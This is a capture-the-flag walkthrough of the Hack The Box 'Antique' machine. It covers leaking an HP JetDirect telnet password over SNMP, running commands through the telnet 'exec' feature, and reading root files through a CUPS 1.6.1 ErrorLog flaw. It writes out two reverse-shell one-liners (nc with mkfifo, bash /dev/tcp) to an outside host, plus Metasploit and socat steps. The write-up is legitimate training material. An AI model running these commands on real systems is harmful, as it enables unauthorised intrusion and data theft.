### Enumeration: ``` ┌──(tahaafarooq㉿kali)-[~/Desktop/hackthebox/machines/easy/antique] └─$ nmap -A 10.10.11.107 -oN nmap-scan -Pn Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-26 08:34 EDT Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan NSE Timing: About 0.00% done Nmap scan report for 10.10.11.107 Host is up (0.28s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns, tn3270: | JetDirect | Password: | NULL: |_ JetDirect 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port23-TCP:V=7.91%I=7%D=10/26%Time=6177F62F%P=x86_64-pc-linux-gnu%r(NUL SF:L,F,"\nHP\x20JetDirect\n\n")%r(GenericLines,19,"\nHP\x20JetDirect\n\nPa SF:ssword:\x20")%r(tn3270,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(GetRe SF:quest,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(HTTPOptions,19,"\nHP\x SF:20JetDirect\n\nPassword:\x20")%r(RTSPRequest,19,"\nHP\x20JetDirect\n\nP SF:assword:\x20")%r(RPCCheck,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(DN SF:SVersionBindReqTCP,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(DNSStatus SF:RequestTCP,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(Help,19,"\nHP\x20 SF:JetDirect\n\nPassword:\x20")%r(SSLSessionReq,19,"\nHP\x20JetDirect\n\nP SF:assword:\x20")%r(TerminalServerCookie,19,"\nHP\x20JetDirect\n\nPassword SF::\x20")%r(TLSSessionReq,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(Kerb SF:eros,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(SMBProgNeg,19,"\nHP\x20 SF:JetDirect\n\nPassword:\x20")%r(X11Probe,19,"\nHP\x20JetDirect\n\nPasswo SF:rd:\x20")%r(FourOhFourRequest,19,"\nHP\x20JetDirect\n\nPassword:\x20")% SF:r(LPDString,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(LDAPSearchReq,19 SF:,"\nHP\x20JetDirect\n\nPassword:\x20")%r(LDAPBindReq,19,"\nHP\x20JetDir SF:ect\n\nPassword:\x20")%r(SIPOptions,19,"\nHP\x20JetDirect\n\nPassword:\ SF:x20")%r(LANDesk-RC,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(TerminalS SF:erver,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(NCP,19,"\nHP\x20JetDir SF:ect\n\nPassword:\x20")%r(NotesRPC,19,"\nHP\x20JetDirect\n\nPassword:\x2 SF:0")%r(JavaRMI,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(WMSRequest,19, SF:"\nHP\x20JetDirect\n\nPassword:\x20")%r(oracle-tns,19,"\nHP\x20JetDirec SF:t\n\nPassword:\x20")%r(ms-sql-s,19,"\nHP\x20JetDirect\n\nPassword:\x20" SF:)%r(afp,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(giop,19,"\nHP\x20Jet SF:Direct\n\nPassword:\x20"); Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 227.79 seconds ``` First thing hit up nmap , and found telnet service running up , let's try login into to it and see what happens: ``` ┌──(tahaafarooq㉿kali)-[~/Desktop/hackthebox/machines/easy/antique] └─$ telnet 10.10.11.107 Trying 10.10.11.107... Connected to 10.10.11.107. Escape character is '^]'. HP JetDirect Password: whoami Invalid password Connection closed by foreign host. ``` Alright it asks for a password! and the password can be seen in clear text! I now scan for UDP ports open in the IP and I found SNMP port opened but filtered I used the command `sudo nmap -sU -T4 10.10.11.107 -Pn` , I googled about how to get Jetdirect password from SNMP and ended up finding the solution in [exploit-DB](https://www.exploit-db.com/exploits/22319) , So with this command I got the password but in hex when I convert the hex chars I get plaintext password : ``` ┌──(tahaafarooq㉿kali)-[~/Desktop/hackthebox/machines/easy/antique] └─$ snmpget -v 1 -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0 iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 ``` ``` ┌──(tahaafarooq㉿kali)-[~/Desktop/hackthebox/machines/easy/antique] └─$ echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 " | xxd -r -p P@ssw0rd@123!!123�q��"2Rbs3CSs��$4�Eu�WGW�(8i IY�aA�"1&1A5 ``` So then the password is : `P@ssw0rd123!!123` ! ### Gaining Access Now then I just gain access: ``` ┌──(tahaafarooq㉿kali)-[~/Desktop/hackthebox/machines/easy/antique] └─$ telnet 10.10.11.107 Trying 10.10.11.107... Connected to 10.10.11.107. Escape character is '^]'. HP JetDirect Password: P@ssw0rd@123!!123 Please type "?" for HELP > ``` ``` > ? To Change/Configure Parameters Enter: Parameter-name: value <Carriage Return> Parameter-name Type of value ip: IP-address in dotted notation subnet-mask: address in dotted notation (enter 0 for default) default-gw: address in dotted notation (enter 0 for default) syslog-svr: address in dotted notation (enter 0 for default) idle-timeout: seconds in integers set-cmnty-name: alpha-numeric string (32 chars max) host-name: alpha-numeric string (upper case only, 32 chars max) dhcp-config: 0 to disable, 1 to enable allow: <ip> [mask] (0 to clear, list to display, 10 max) addrawport: <TCP port num> (<TCP port num> 3000-9000) deleterawport: <TCP port num> listrawport: (No parameter required) exec: execute system commands (exec id) exit: quit from telnet session ``` Since it allows shell execution I just grab me user flag first lol :) ``` > exec ls -la total 16 drwxr-xr-x 2 lp lp 4096 Sep 27 07:12 . drwxr-xr-x 6 root root 4096 May 14 10:52 .. lrwxrwxrwx 1 lp lp 9 May 14 11:03 .bash_history -> /dev/null -rwxr-xr-x 1 lp lp 1959 Sep 27 07:12 telnet.py -rwxrwxrwx 1 lp lp 33 Oct 26 12:37 user.txt > exec cat user.txt fe785308269fe780ec88b269e39fb0f0 ``` and I grab myself a shell ```bash > exec rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 1234 >/tmp/f ``` ### Elevating Privileges While studying the machine trying to escalate I discover a port opened in the inside which is 631 using the command `netstat -ant` ,I forward it using socat and relized it's cups 1.6.1 which has a metasploit post module : ``` $ socat tcp-listen:9090,fork tcp:127.0.0.1:631 & $ curl --request GET http://127.0.0.1:631/ % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 3792 100 3792 0 0 1851k 0 --:--:-- --:--:-- --:--:-- 1851k <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML> <HEAD> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8"> <TITLE>Home - CUPS 1.6.1</TITLE> <LINK REL="STYLESHEET" TYPE="text/css" HREF="/cups.css"> <LINK REL="SHORTCUT ICON" HREF="/images/cups-icon.png" TYPE="image/png"> </HEAD> ``` I now start `msfconsole` and push the following commands: ``` msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set PAYLOAD linux/x64/shell/reverse_tcp PAYLOAD => linux/x64/shell/reverse_tcp msf6 exploit(multi/handler) > set LHOST tun0 LHOST => tun0 msf6 exploit(multi/handler) > set LPORT 1337 LPORT => 1337 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.14.6:1337 ``` And now we have a listener so from the shell I have I send a rev shell connection to this listener and then use the post module to elevate my privs! -> shell I have: ``` $ bash -c "bash -i &>/dev/tcp/10.10.14.6/1337 <&1" ``` -> metasploit listener I set: ``` msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.14.6:1337 [*] Sending stage (38 bytes) to 10.10.11.107 [*] Command shell session 1 opened (10.10.14.6:1337 -> 10.10.11.107:34344) at 2021-10-26 09:31:35 -0400 lp@antique:~$ ``` and there I have a session , I know press control + Z to background the session so as I can load up the post module in that session to elevate privs: ``` msf6 exploit(multi/handler) > use multi/escalate/cups_root_file_read msf6 post(multi/escalate/cups_root_file_read) > set session 1 session => 1 msf6 post(multi/escalate/cups_root_file_read) > show options Module options (post/multi/escalate/cups_root_file_read): Name Current Setting Required Description ---- --------------- -------- ----------- ERROR_LOG /var/log/cups/error_log yes The original path to the CUPS error log FILE /etc/shadow yes The file to steal. SESSION 1 yes The session to run this module on. msf6 post(multi/escalate/cups_root_file_read) > set FILE /root/root.txt FILE => /root/root.txt ``` I set the file that I want to read and now I just run it up: ``` msf6 post(multi/escalate/cups_root_file_read) > run [!] SESSION may not be compatible with this module (incompatible session type: shell) [+] User in lpadmin group, continuing... [+] cupsctl binary found in $PATH [+] nc binary found in $PATH [*] Found CUPS 1.6.1 [+] File /root/root.txt (0 bytes) saved to /home/tahaafarooq/.msf4/loot/20211026094201_default_10.10.11.107_cups_file_read_512377.txt [*] Cleaning up... [*] Post module execution completed ``` Alright that's very weird it's not giving out what it's supposed to be giving :( , Now I cant get the root flag:(( , WAIT A MINUTE , I'll just exploit it manually ! Since we know the vulnerability affecting this version which allows us to read stuff then we just have to use `cupsctl` to set a log as a certain file then we read it! now enough talk let's get to the good part: ``` msf6 post(multi/escalate/cups_root_file_read) > sessions 1 [*] Starting interaction with 1... lp@antique:~$ id id uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin) lp@antique:~$ cupsctl ErrorLog="/root/root.txt" cupsctl ErrorLog="/root/root.txt" lp@antique:~$ curl http://127.0.0.1:631/admin/log/error_log? curl http://127.0.0.1:631/admin/log/error_log? % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 33 100 33 0 0 33000 0 --:--:-- --:--:-- --:--:-- 33000 b7ac8e0efb5c4945ab73981a6f860b75 ``` And there we go we have the flag:)) So first I set the `ErrorLog` as a file and since I did port forwarding so I know a way with the urls to read the logs the admin panel and all that, and to set the `ErrorLog` to a file I used this command: ```bash cupsctl ErrorLog="/root/root.txt" ``` Then I use curl to print out the logs of the error! since I set the error logs to read the file I set then I have my way DONE!: ``` lp@antique:~$ curl http://127.0.0.1:631/admin/log/error_log? ``` and boom we have the flag!